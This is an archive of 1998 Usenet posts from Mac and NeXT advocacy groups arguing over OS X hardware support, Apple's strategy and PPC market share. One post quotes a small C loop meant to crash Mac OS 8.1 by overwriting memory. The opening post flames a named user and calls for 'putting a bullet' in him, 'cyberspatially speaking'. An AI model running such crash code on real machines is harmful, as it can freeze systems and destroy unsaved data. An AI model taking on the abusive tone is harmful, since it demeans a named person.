> psycho about Edwin's use of another name, using one yourself is
extreme
> hypocracy.
>
> I dont know if its hypocracy, I have been getting preety peeved at
that
> mofo's posts myself. I could care less if people use different
names, but
> when you change names to further your kookiness thats another
matter. I
> have remained silent, waiting for people to skewer that edwin fukker
like
> that fukker Rizzo was skewered. This group needs lamers like edwin
like
> our defense forces need windows NT.
>
> After this post I think I will check to see if the newsgroup
> alt.kook.edwin.thorne has been created yet. That guy is as big a
kook as
> Rizzo is.
>
> ---------------------------------------------------------
> Macos- the most awesome os in the world!!
> ---------------------------------------------------------
Your ramblings are truly amusing. Thanks for the entertainment! :)
Edwin</X-FONTSIZE><SMALLER>
---------------------------------------------------
This message was created and sent using the Cyberdog Mail System
---------------------------------------------------
Anyone know how to create a new newsgroup? We really should make a
new newsgroup dedicated to our deranged little mofo here. Maybe call
the group alt.kook.edwin.thorn.
Better yet, we should kill off this dweeb like we killed off Rizzo.
This fukher's posts have no content, and yet he has the gall to attack
people like Joe R and Jason S. We really need to put a bullet into
this sick dogs head (cyberspatially speaking, not in real life)
</SMALLER>
--Cyberdog-MixedBoundary-000926EA--
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 10:48:07 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6p9op7$dg7$1@sun27.hrz.tu-darmstadt.de>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>An unnamed Apple executive told Carlton in an interview for his book: "We
knew
>we wouldn't make a lot of money on this, but we felt that a merger with Sun
>would create critical mass. The cultures were aligned with each other, and
>Scott (McNealy) would have made a dynamic leader. Nobody knew what would
>happen to Gil (Amelio)."
Oh yes, Scott McNealy would have made a charismatic leader. And maybe Fidel
Castro would have been available for Public Relations.
You made my day - thank you :-)
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 23 Jul 98 16:31:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DD15DD-68A6F@206.165.43.54>
References: <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
>Now Apple is planning to drop support for machines that are only 1 year
>old. This sets a precedent. While I do not _know_ that Apple will do that
>again, it makes the possibility much more likely at the very least
>psychologically.
3 months old. I bought my 7300 3 months ago. It will be under warranty
until early 1999.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ante@Zeke.Update.UU.SE (Andreas Gustafsson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 23 Jul 1998 23:01:18 +0200
Organization: Update Computer Club
Message-ID: <6p88au$rnt$1@Zeke.Update.UU.SE>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net>
stone@stoneentertainment.com (Kevin Stone) writes:
>In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
>(delete spaces, spam trick) wrote:
>(snip)
>> --
>> ======================================================================
>> Lee Altenberg, Ph.D.
>Since Rhapsody (aka. MacOSX Server) is based on OpenStep, it is very likely
>that Apple has or will include NeXT functionality along with the features
>I've mentioned above that already exist in today's MacOS. Even the
>September update, MacOS 8.5, will feature an applications dock and tear
>away menus... obviously inspired by OpenStep. And of course third party
>developers will continue to take advantage of the open nature of the MacOS
>to develope additions and enhacments that will continue to make the so
>called, "Macintosh Experience", the best on Earth. :)
>-Kevin Stone
"even the September update, MacOS8.5, will feature an applications dock"
You wrote. Is that confirmed by Apple? I've never heard them tell anything
about the new versions that interesting! Where did you get that info?
/andreas
--
=-=-=-=-=-=-=-=-=-=-=-=-=-= Ad Astra!! =-=-=-=-=-=-=-=-=-=-=-=-=-=
Me: sf-fan, philosopher, historian, dreamer...
Loves: my good friends, ale, art in many forms, dreaming...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-= mail me: ante@update.uu.se /FIAWOL!
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 14:01:54 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pa44i$8tm$1@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net> <6p9rst$nd1$1@nnrp02.primenet.com> <joe.ragosta-2407980828330001@wil49.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: In article <6p9rst$nd1$1@nnrp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > This is getting to be like an Oliver Stone movie. Last week we learned
: > that it was Jean-Louis Gassée, wispering in John Sculley's ear that
: > distroyed Apple. This week it is the AIM partners not doing enough to
: > help.
: Read the thread. The message that I was responding to said nothing about
: Apple's "destruction". It was a discussion of why AIM didn't meet its
: alleged goal of having PPC take 10% of the CPU market.
The title of the thread is "Apple heading to obscurity?" Funny me, I
thought your comments were somehow related to that.
John
From: "Jim Coffey" <jlc@bocus.uchicago.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Fri, 24 Jul 1998 10:49:05 -0400
Organization: Ivory Tower,Inc
Message-ID: <6pa6sq$pub@bgtnsc02.worldnet.att.net>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <charles.bouldin-2107982129550001@chuckb.mnsinc.com> <joe.ragosta-2207980846080001@wil103.dol.net>
Joe Ragosta wrote in message ...
>
>Then this _really_ needs to be picked up by 60 Minutes and the other news
>magazines. Endangering battleships because of political presssure goes too
>far.
>
Political pressure in military procurement is a fact of life. Ask the
Marines about th etilt rotor aircraft they had shoved down their throat.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <Macghod-2307981737520001@sdn-ar-002casbarp030.dialsprint.net>
Message-ID: <35b7e641.0@news.depaul.edu>
Date: 24 Jul 98 01:41:21 GMT
In comp.sys.next.advocacy Steve Sullivan <Macghod@concentric.net> wrote:
> In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
> > > is a VERY long time away. The ones who are not will stick with Allegro and
> > > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
> >
> > Because 8.1 is so obsolete it isn't even funny?
> >
> > Want prof? Try this on your "stable 8.1":
> >
> > main() {
> > long*addr=0;
> > while(1) {
> > *addr++=1;
> > }
> > }
> >
> > Don't forget to save any unsaved work before....
> >
> > Magnus
> Yeah, but the macos is going to be up to date very soon now!!
> At wwdc they even did the above, and the os handled it very gracefully. I
> forget what os it was, it was either 8.5 or macos x or rhapsody
That was a demo of Carbon, running on Rhapsody.
--
"... and subpoenas for all." - Ken Starr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 23:25:23 -0700
Message-ID: <see-below-2307982325230001@dynamic18.pm10.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com>
In article <not-2307981027360001@ip-26-096.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>,
> mcox@ihug.co.nz (Martin Cox) wrote:
>
> > No the argument is, if Apple does end up releasing OS X for only G3-shipped
> > systems then :
> >
> > (1) They will lose upgrade customers for hardware. There _will_ be people
> > who will, when their machine reaches the end of its useful life (some time
> > after OS X has shipped), move to Wintel because of the decision. These will
> > be users of 7x00, 8x00, and 9x00 level machines who would otherwise have
> > upgraded to a new machine _at_a_later_ date.
>
> Wrong. A phantom--a totally epemerla group. No one out there is going to
> switch to Wintel just because they can't run OS X. Only the most
> histrionic person trying to make a "political" point would do so. Why?
> Cost. I bought a 1997 Mac (Power Center Pro 240) that won't run OS X.
> Doesn't bother me, I've got a budget for a new G3 before Q3 1999. Anyway,
> let's just assume I would want to switch to Wintel instead:
>
> So, I sell my system and all its software. The software is worth
> practically nothing, even with manuals, so the $4000 I spent on that
> (PhotoShop, Illustrator, GoLive Pro, Quark, etc.) turns into about $250.
Most of which you can "cross-grade" to Windows for minimal cost.
> The CPU I paid $2200 for is worth about $800, only has 3 PCI slots. So I
> start out with barely $1100. So I buy all of my software over again (which
> costs just the same on the PC side), drop another $2500 on a 400 MHz PII,
> come out $6000 in the red.
Nope, only the $1700 price difference for the hardware, plus probalby a
bit for software. If you wanted to use OS X, you'd have to buy a whole new
computer anyway, so I don't see where there's any big price difference in
moving to Windows.
> > If, however, Apple manages to ship OS X for PCI PowerMacs (even if it is a
> > staggered release, so long as there isn't an insanely long time between
> > revisions) the basic difference is they will retain :
> >
> > (1) Software upgrade customers. ie those 7x00, 8x00, and 9x00 level machine
> > owners who will jump at OS X.
>
> Why? These machines will be 4 years old by the time OS X comes out. Just
> like me, theu will have upgraded long before the ship date.
Yup. I will certainly have a G3 card in my Mac long before then. But I
certainly _won't_ be happy to have to buy a whole new computer with
virtually identical capabilities as my current one just to run Apple's
latest OS. And when I do need to replace my hardware, I'll certainly be
comparing to a PC running NT 5.0. While I can't say Apple will lose in
that comparison, I'd say Apple is taking a big chance by requiring
Microsoft to keep shipping lousy software to keep people from defecting.
Underestimating Microsoft's ability to come up with Windows 3.0 and later
Windows 95 is largely what got Apple into this mess in the first place. If
Windows gets good enough, I'm _gone_ and I'll be very happy to leave the
Mac with its high prices and limited options behind. By _forcing_ an
unnecessary hardware replacement (lets be honest and not try to call it an
upgrade) to run their best software, they give customers an unnecessary
opportunity to reevaluate their decision about sticking with the
Macintosh.
> > and (2) Hardware upgrade customers. Both those who would have otherwise
> > jumped to Wintel because of a perception of poor Apple support, and those
> > who have 7x00, 8x00, and 9x00 series machines. Sure, _they_ won't upgrade
> > immediately, but when the time _does_ come to upgrade they'll be far more
> > sympathetic and loyal to an Apple that didn't "cut them off".
>
> I think you will be utterly shocked, when the time comes, at how many
> people are willing to upgrade their machines just to run the latest OS. Do
> I really need to tell you how many of my PC-using friends ditched their
> 486 and bought a brand-new P II system just to run Win 98 vs Win 95?
However, that's assuming the new computer is much much faster than the old
one. Win95 will run just fine on a 486, albeit a bit slowly, but a new PII
400 is probably 10 or 20x faster. That comparison is only valid for those
who are still running Quadras and Centrises, not for existing owners of
PowerCenter Pros and S900s and 9600s with 300MHz+ G3 cards already in
them! Apple is not forcing an "upgrade," they're forcing an arbitrary and
unnecessary _replacement_ of perfectly good hardware!
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 23:14:33 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <not-2307981301280001@ip-167-019.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
>I'm sorry, but that is amazing irrelevant.
RTFM. Oh I forgot, you don't.
The post to which I originally responded asked how long we would be willing
to wait after the initial release for a version of OS X that would run on
7x00, 8x00 and 9x00 PCI Macs. _That_ was what I responded to. Therefore it
_wasn't_ irrelevant.
>How long you would be willing
>to wait has nothing to do without how long it would actually take to do
>what you are describing. And what would you do if they took "too long" to
>do it? Switch to NT? Pirate a copy when OS X came out, instead of pay for
>it?
Oh sure - I'm going to pirate a copy of the OS that won't run on my
computer. That makes _perfect_ sense. </sarcasm>
NT - maybe. I've used it enough at work to know that it has good and bad
points. Shock, horror, so does Mac OS. If there's no OS X for my computer
then I'll seriously consider it. So will _a_lot_of_ people_.
>I'm tired of all the idle threats by supposed Mac loyalists on this group.
>None of you are going to go Windows just because Apple didn't follow the
>plans you would dictate to them.
No - what you're saying is that _you_ won't. Others _will_.
Neither are we "dictating plans".
We're trying to see past the spin the PR people are putting on all this OS
X. We're trying to show Apple that maybe they should reconsider. We're
trying to show that sheep get shorn on a regular basis and we don't want to
be sheep.
Hell, isn't that why one buys a Mac?
>When you sit down and look at the costs
>(new hardware, new software, learning curve, downtime) it would make no
>sense at all. I've probably got $7,000 minimum invested in my 2 macs w/
>software, and it would cost me twice that to move it all to Windows.
Yes - it would cost _you_ that much (though as someone else pointed out,
cross-grading to Wintel software is less than you posted).
I've said it before - you're too fond of proclaiming your situation equates
to everyone else.
Learning curve is minimal - most people have used Windows enough to more
than get by. Downtime can be minimal. I've worked in the PC support enough
to know these things can be done with minimal hassle (though I've seen the
Dark Side of weeks of downtime too...).
A switch can be made from MacOS to Wintel relatively painlessly, and
nowhere near as expensively as you claim. If companies perceive that this
OS X position, where they can't use the OS for _high_end_ machines they
have _recently_ purchased, is a Bad Thing(tm) they'll jump. Quicker than
you can blink. A company doesn't care if it's an Apple, Compaq, Packard
Bell, or Sinclair Spectrum. So long as it does the work. If it can't be
relied on in future, then it's too expensive.
>Hardware motherboard compatibility is only a small part of the issue. What
>about device drivers? Dozens of third-party hard drives, CD-ROM drives,
>video cards, etc. Hundreds of possible hardware upgrades, from
>daughtercards to PDS slot cards to clock-chipping. Third-party cache cards
>(don't forget the 7500 cache card problem!).
PDS is irrelevant. We're not saying "OS X for my Mac Classic or else!". No
PCI Mac (and that's what we're talking about here, in case you forgot to
RTFM again...) has a PDS issue. And as someone else has pointed out third
party drivers are just that - third party. Not an Apple issue. All they
need to do is seed the relevant OS releases to the developers concerned and
let them play.
>Who cares? You have said yourself that hardware is not the issue here. It
>is TIME, TIME, TIME DAMMIT! Apple does NOT HAVE THE TIME to troubleshoot
>and make OS X backwards-compatible for all PCI macs.
Maybe Apple doesn't have time, but they've just got $2_billion_ in cash and
short term funds. How Apple expects to _save_ its way into prosperity is
beyond me. Why don't they use some of that and hire some people? So it
costs them a mill or two or three in the short run. How much do you think
the extra customer confidence and market image is worth in the longer run?
>If you think the computer industry can even support the phrase "reasonable
>expectation," you're in way over your head.
So I'm expected to shrug and say "hell, I'll fork over $8,000 for a new Mac
because Apple made a marketing decision I don't agree with"? I think not...
Apple was promoting "choice" for all these years, and now it's apparently
saying - "we're giving you a choice. Buy a new Mac or you're stuck with an
old OS." Not "buy a new Mac or you're stuck running the new OS
sub-optimally" which is the Wintel creed.
>The only thing reasonable about the computer industry is to have *no*
>expectations.
That way you sure won't be disappointed....
>Oh, please--I see you've chosen to split hairs rather than argue a point.
>You most definitely pinned the tail on Apple as the one at fault in
>several of your posts so far.
No - I'm making a factual point. You insist on reading things into my posts
which aren't there. Maybe if you'd like to point out some "blame" I might
reconsider. Particularly where you get "several" of my posts from. Heck, by
my count this makes post #4 on this topic. "Several" = 3? Actually that'd
have to be 2 since the original post certainly didn't attach any blame.
RTFM. It'll save everyone a lot of hassle in the long run...
>And they will continue to work for years to come, with 8.5, 8.6 and 9.0.
>And by the time OS X comes around, all true professionals will have long
>since moved to G3 systems.
Or NT on Pentium 2s, or some other Wintel system.
Again - a required change of hardware, be it from Mac to Mac or Mac to
Wintel will force people to _think_ about their options. If Apple's
perception is negative, people will jump - it's _happened_before_, and
it'll happen with OS X.
Apple needs to be _consolidating_and_growing_ user base. Not forcing them
to think whether flipping to Wintel is a better idea.
Is that clear enough?
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
Date: Thu, 23 Jul 1998 22:01:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2307982201500001@elk97.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu>
In article <6p7leg$al7$6@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Peter (pxpst2@SPAM.SUXS.unixs.cis.pitt.edu) wrote:
> : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>
> : > Maybe Motorola is still stung from the $100 Million MCG debacle.
>
> : David
> : Motorola was stung by Apple with regard to cloning but that was a really
> : small amount.( 100 million that is).
>
> : Motorola's current problems are ALL rooted in the fact that the cell
> : phones that they are making and had planed to make for another 8-12 months
> : are ANALOG. And I am sure you know how well analog phones are selling
> : these days? MOT screwed up big time on their bread and butter buisiness
> : and everybody here makes it into an Apple vs Mot pissing contest.
> : Currently Mot is trading at 52 week low levels and they have BIG problems
> : which even doubling the CPUs sold would not help appreciatably. The CPU
> : bisiness is the only good thing at Motorola these days but it is a small
> : part of their core business and it will be years before it is an
> : appreciatable fraction of their total business.
>
> You forget that no so long ago (5-6 years) there was a big annoucement
> of the great alliance called AIM. The unstated and modest goal was to
> acquire 10% of the CPU market in a decade. (Can't remember where I read
> this from now) That won't be happening now. Motorola had very aggresive
> goals to push and expand PPC chips, and really churn it out. Their
> frustration was that their ability to push the chip was being limited by
> the whim of another company, Apple.
Nice revisionism.
AIM's inability to capture 10% of the CPU market with PPC was due to a
number of factors:
IBM dropped OS/2 for PPC
IBM dropped AIX for PPC
Novell dropped Netware for PPC
Microsoft dropped NT for PPC
Motorola stopped making PPC computers
Sun dropped Solaris for PPC
Apple's PPC sales didn't meet expectations.
Of all these players, Apple is the only one who stuck with PPC. Blaming
Apple for Motorola's inability to reach 10% market share is ridiculous.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 16:17:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pac3m$anv$1@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: Your argument about the hardware standard is completely bogus. First, all
: of these supporters dropped their PPC OS before CHRP was ready. Second,
: any one of them could have made CHRP boxes. Why is it that they're all
: relying on Apple to do so?
: Your attempts at revisionism are sad. There's no way that it's Apple's
: fault that all of these companies failed to live up to their promises.
Maybe you weren't around then, but the original AIM press releases
promised a common hardware platform. This was way before CHRP. The PREP
specification was supposed to fulfill the common hardware promise, but
negotiations borke down.
I wasn't in the room, so I can't say who blocked the deal. People from
the PC side wanted to build something much like a PC and Apple wanted to
build much like a Mac II.
I would say, looking back without revisionism, that the PPC as a commodity
platform was doomed by that early failure of PREP.
John
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 18:27:02 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2407981827020001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <not-2307981027360001@ip-26-096.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
>Wrong. A phantom--a totally epemerla group. No one out there is going to
>switch to Wintel just because they can't run OS X.
Er. Wrong.
They _exist_. There _are_ people who _will_ switch to Wintel should Apple
release OS X under it's currently planned format. There have been people on
the net who have said as much.
The _only_ debate in that area is "how many?" and that's impossible to say.
It may be a hundred. It may be thousands, who knows?
>Anyway,
>let's just assume I would want to switch to Wintel instead:
[mucho deleted]
So the software needs replacing. We knew that already.
Any serious Mac owner in a professional environment who perceives the OS X
release as significantly dubious _will_ consider the cost of changing
software likely worth it. If you have a perceived choice of (a) buy new
hardware for a platform whose user base has been sliced overnight, or (b)
buy new software for a platform with a much larger user base (ergo, much
larger support), then (b) ranks pretty high.
It has nothing to do with "showing those Apple bastards". It has everything
to do with maintaining a perceived level of stability within the
investments you need to make.
>Most Mac users are still running System 7.
They can, and will, upgrade to newer OS versions. If you have no option to
do so then that's a lost customer.
Besides, those users are more than likely running 68K machines. We're
discussing users of 7x00 and up, which are _not_ "home toy" models (unless
you've got more money than me!). The higher end the machine, the far more
likely the user will be an OS upgrade user. How many 8600s do you know
running System 7?
>That's two wrong so far.
IYO of course. IMO that'd be two wrong by you, but who's counting?
>See the point I made above. The users you cite do not exist. No matter how
>angry anyone is, only a select few will have the cash to actually go out
>and commit their act of rebellion.
Um. So which is it? Either they "don't exist" or they're a "select few"?
Both of which are, obviously IYHO just as IMHO there would be a reasonable
number.
>Why? These machines will be 4 years old by the time OS X comes out. Just
>like me, theu will have upgraded long before the ship date.
My 7500 is currently two years old. OS X is due next fall. You do the math.
As many others have said, 9600s have been selling within the last handful
of months. They'll be barely a year old.
You're also fond of inferring everyone else's plans from your own.
Currently there exists no upgrade path from a 9600 due to the lack of slots
in current G3 models. Apple is reportedly going to release a machine in the
not too distant future to rectify that. Given an investment in existing
9600 models, however - particularly those sporting G3 cards already - there
is by no means going to be the wholesale movement from 9600 to G3.
Currently the _only_ incentive to move from a PCI Mac with G3 card to a G3
Mac is OS X. That may not be enough incentive for a great many owners.
>I think you will be utterly shocked, when the time comes, at how many
>people are willing to upgrade their machines just to run the latest OS. Do
>I really need to tell you how many of my PC-using friends ditched their
>486 and bought a brand-new P II system just to run Win 98 vs Win 95?
They're the hard core users. The ones who will stick with Apple until it is
in the state Amiga is now and _still_ support the company.
How many professional companies dump their hardware just to run Win'98?
None that I know of - and I'm in a position to know such things locally. A
professional user (ie not a gamer or a net surfer) requires more stability
than that. You get that in the PC market by virtue of its size.
Business users were jumpy enough last year, how do you think they'll react
when Apple's market share shrinks even more?
Apple's OS X strategy will affect the size of the market dramatically - one
way or another.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: Coriolis@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 20:53:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p87rv$j99$1@nnrp1.dejanews.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
In article <pxpst2-
2307980845390001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
wrote:
> In article <6p5vfm$mo1$1@hecate.umd.edu>,
The CPU
> bisiness is the only good thing at Motorola these days but it is a small
> part of their core business and it will be years before it is an
> appreciatable fraction of their total business.
>
> Peter
>
Meanwhile, I was just reading in Network World
(sorry, left the ref. at home) that IBM is starting
to use PPC chips in smart routers, switchs, etc.
that can diagnose, warn, etc. of network
problems, opening up another market for small,
fast, low power consumption chips.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 23 Jul 1998 21:47:21 GMT
Organization: San Diego State University
Message-ID: <6p8b19$gsr$1@hole.sdsu.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com>
Michael M. Eilers (not@a.valid.email.add) wrote:
: I'm tired of all the idle threats by supposed Mac loyalists on this group.
: None of you are going to go Windows just because Apple didn't follow the
: plans you would dictate to them.
I already _did_, friend. Not completely, I still have the Mac,
but I do not use it very much these days. Total _cost_ (including
the cost of VC++/NT) about $500.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 17:54:24 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723175246.22350A-100000@ux10.cso.uiuc.edu>
References: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
